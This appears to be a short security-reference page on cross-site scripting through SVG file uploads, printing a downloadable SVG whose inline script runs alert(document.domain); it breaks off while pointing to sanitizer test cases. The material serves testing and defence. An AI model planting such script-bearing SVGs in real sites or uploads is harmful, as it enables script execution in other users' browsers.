Skip to content

XSS via SVG file upload ​

SVG files can contain embedded JavaScript code that executes when the image is rendered in a browser.

Example ​

Download as file: svg-document-domain-xss-34-.svg

SVG with inline script tag ​

xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none">
   <rect width="124" height="124" rx="24" fill="#000000"/>
   <script type="text/javascript">
      alert(document.domain)
   </script>
</svg>

More examples ​

Find more inspirations in SVG sanitizing libraries' test cases, like: